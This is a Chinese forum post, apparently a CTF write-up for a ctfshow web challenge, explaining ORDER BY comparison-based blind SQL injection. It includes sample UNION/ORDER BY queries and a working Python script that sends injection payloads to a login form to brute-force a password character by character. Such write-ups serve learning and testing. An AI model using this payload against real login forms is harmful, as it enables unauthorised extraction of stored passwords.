挫莉虻 发表于 2025-7-20 16:30:21

SQL order by 大小比较盲注

SQL order by 大小比较盲注

在做ctfshow web入门 的 web691时遇到了SQL order by 大小比较盲注问题。因为是第一次遇到,记录一下

在做题之前,我们先来探讨一下order by 比较大小盲注
在本地先自己搭建一个数据库

我们输入查询语句
SELECT * FROM `login` WHERE name=1 or 1 union SELECT 1,1,1 order by 3;
更换一下查询语句
SELECT * FROM `login` WHERE name=1 or 1 union SELECT 1,1,2 order by 3;
这里很明显就能看出,当用联合查询出来的passwd值1时,最终回显的是name=1而当我们输入passwd值为2时,最终回显的是name=admin即为第一条数据,并且在实际中我们不知道passwd的值,会回显一个密码错误,这样我们就可以根据回显一位一位来爆破password的值
s = '0123456789:abcdefghijklmnopqrstuvwxyz{'
password=''
for i in range(50):
    for j in s:
      payload=password+j
      data={
            'username':"'or 1 union select 1,1,'"+payload+"' order by 3#",
            'passwd':''
            }
      r=requests.post(url,data=data)
      if "wrong pass!" in r.text:
            password+=chr(ord(j)-1)
            print(password)
            break回归到原题
页: [1]
查看完整版本: SQL order by 大小比较盲注